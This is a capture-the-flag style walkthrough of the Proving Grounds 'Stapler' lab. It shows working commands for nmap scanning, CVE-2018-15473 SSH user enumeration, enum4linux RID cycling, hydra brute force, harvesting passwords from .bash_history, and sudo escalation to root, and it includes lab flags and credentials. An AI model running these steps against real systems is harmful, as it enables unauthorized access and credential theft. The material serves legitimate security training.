the_open_door
coffee
ESEN

Stapler

Proving Grounds PlayMediumLinux192.168.144.148

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#oscp#smb#enum4linux#rid-brute#ssh-user-enum#cve-2018-15473#brute-force#hydra#bash-history#credential-reuse#sudo-group
TL;DR. Samba hands over the full list of local users via RID brute (SID S-1-22-1), and OpenSSH 7.2 confirms accounts via user enumeration (CVE-2018-15473). With that list, hydra tries username=password over SSH and SHayslett:SHayslett falls. In /home, JKanode's .bash_history stores sshpass -p JZQuyIN5 ssh peter@localhost, i.e. peter's password; and peter is in the sudo group, so a sudo su gives root.

Reconnaissance

Initial scan

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. UDP shows NetBIOS (137), and TCP has a wide fan, with SMB and SSH as the two useful fronts:

sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.144.148
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.148
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown
nmap -p21,22,53,80,139,666,3306,12380 -sCV 192.168.144.148 -oN targetedScan
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown

SSH - TCP 22 (user enumeration)

OpenSSH 7.2p2 predates 7.7, vulnerable to user enumeration via CVE-2018-15473: the server responds distinguishably for a valid user versus a non-existent one. Useful to confirm accounts before a password attack:

searchsploit -m linux/remote/45939.py
python2 45939.py 192.168.144.148 _apt      # [+] _apt is a valid username
python2 45939.py 192.168.144.148 _pt       # [-] invalid

Testing one name at a time does not scale, so the exploit gets wrapped in a loop that runs it over a list of candidate names and prints only the ones the server confirms as valid:

./ssh_user_enum.sh

SSH enumeration confirms the users mail, peter, news, jamie, man, bin and games as existing

[+] User: mail exists
[+] User: peter exists
[+] User: news exists
[+] User: jamie exists
[+] User: man exists
[+] User: bin exists
[+] User: games exists

Among the confirmed ones is peter, who turns out to be the key piece later. Even so, this route only validates names we already know or guess; getting the full list needs SMB.

SMB - TCP 139 (RID brute)

enum4linux pulls the full list of system users by walking SID S-1-22-1 (the local Unix users, RID cycling):

enum4linux 192.168.144.148
S-1-22-1-1000 Unix User\peter
S-1-22-1-1005 Unix User\SHayslett
S-1-22-1-1013 Unix User\JKanode
... (30 users: RNunemaker, ETollefson, MBassin, jamie, elly, www ...)

Clean it into a 30-name userlist, which is exactly what a password attack needs.

Shell as SHayslett

SSH brute force (username = password)

With the user list, hydra tries SSH using the same file as both the username and the password dictionary: the classic bet that someone has a password equal to their username. It falls:

hydra -L userlist -P userlist -t 64 ssh://192.168.144.148 -I
# [22][ssh] host: 192.168.144.148  login: SHayslett  password: SHayslett

SSH as SHayslett after the brute force

SHayslett@red:~$ cat local.txt && hostname
ed53f1659f1c050be8d390e21c9c54eb
red.initech

local.txt read as SHayslett on the red.initech host

Shell as peter

Credentials in .bash_history

SHayslett can read other users' /home. A recursive grep for "pass" strikes gold in JKanode's history:

grep -ri pass /home 2>/dev/null
./JKanode/.bash_history:sshpass -p thisimypassword ssh JKanode@localhost
./JKanode/.bash_history:sshpass -p JZQuyIN5 ssh peter@localhost

JKanode's history leaves two plaintext passwords, one of them peter's (JZQuyIN5). peter is interesting because it belongs to the sudo group:

id peter        # ...,27(sudo)
su peter        # password: JZQuyIN5

su peter with the password from .bash_history gives a shell as peter

SHayslett@red:/home$ su peter
Password:
red% whoami
peter

su peter with JZQuyIN5 (the password from .bash_history) drops us as peter, a member of the sudo group.

Privilege Escalation

sudo group abuse

peter belongs to the sudo group, which on Ubuntu grants sudo with no command restriction. No need to hunt for a specific binary: sudo su gives a root shell directly:

sudo su

sudo su as peter: after the password, script /dev/null -c bash and whoami returns root

red% sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter:
/home  script /dev/null -c bash
Script started, file is /dev/null
root@red:/home# whoami
root

sudo su asks for peter's own password (the same JZQuyIN5 from the history) and hands back a root shell; the script /dev/null -c bash afterwards is only there to get a comfortable prompt.

local.txt / proof.txt

SHayslett@red:~$ cat local.txt
ed53f1659f1c050be8d390e21c9c54eb

root@red:~# cat proof.txt
58f432bb0e33c5350e8408954f9fe79b

proof.txt read as root

Attack chain

Samba (139) → enum4linux RID brute (SID S-1-22-1) → 30 users
  (+ OpenSSH 7.2 user enum CVE-2018-15473 confirms accounts)
  └─ hydra -L userlist -P userlist ssh → SHayslett:SHayslett
     └─ grep -ri pass /home → JKanode/.bash_history: peter:JZQuyIN5
        └─ su peter (sudo group)
           └─ sudo su → root

Lessons learned

  • Samba exposes local Unix users via SID S-1-22-1; RID cycling with enum4linux walks them without credentials and builds the target list for the password attack.
  • OpenSSH < 7.7 leaks user validity (CVE-2018-15473) through timing/response differences; it is an account-confirmation source independent of SMB.
  • Reusing the username as the password still shows up: hydra -L userlist -P userlist (same file for both) is a cheap check that here opens the first door.
  • Readable .bash_history files are a treasure: sshpass -p <key> leaves passwords in plaintext. A grep -ri pass /home is one of the first things to run with any shell.
  • The sudo group on Debian/Ubuntu is equivalent to root: belonging to it allows sudo su outright. The password of a user in that group is, in practice, the root password.
Command cheatsheet 9 commands

Quick review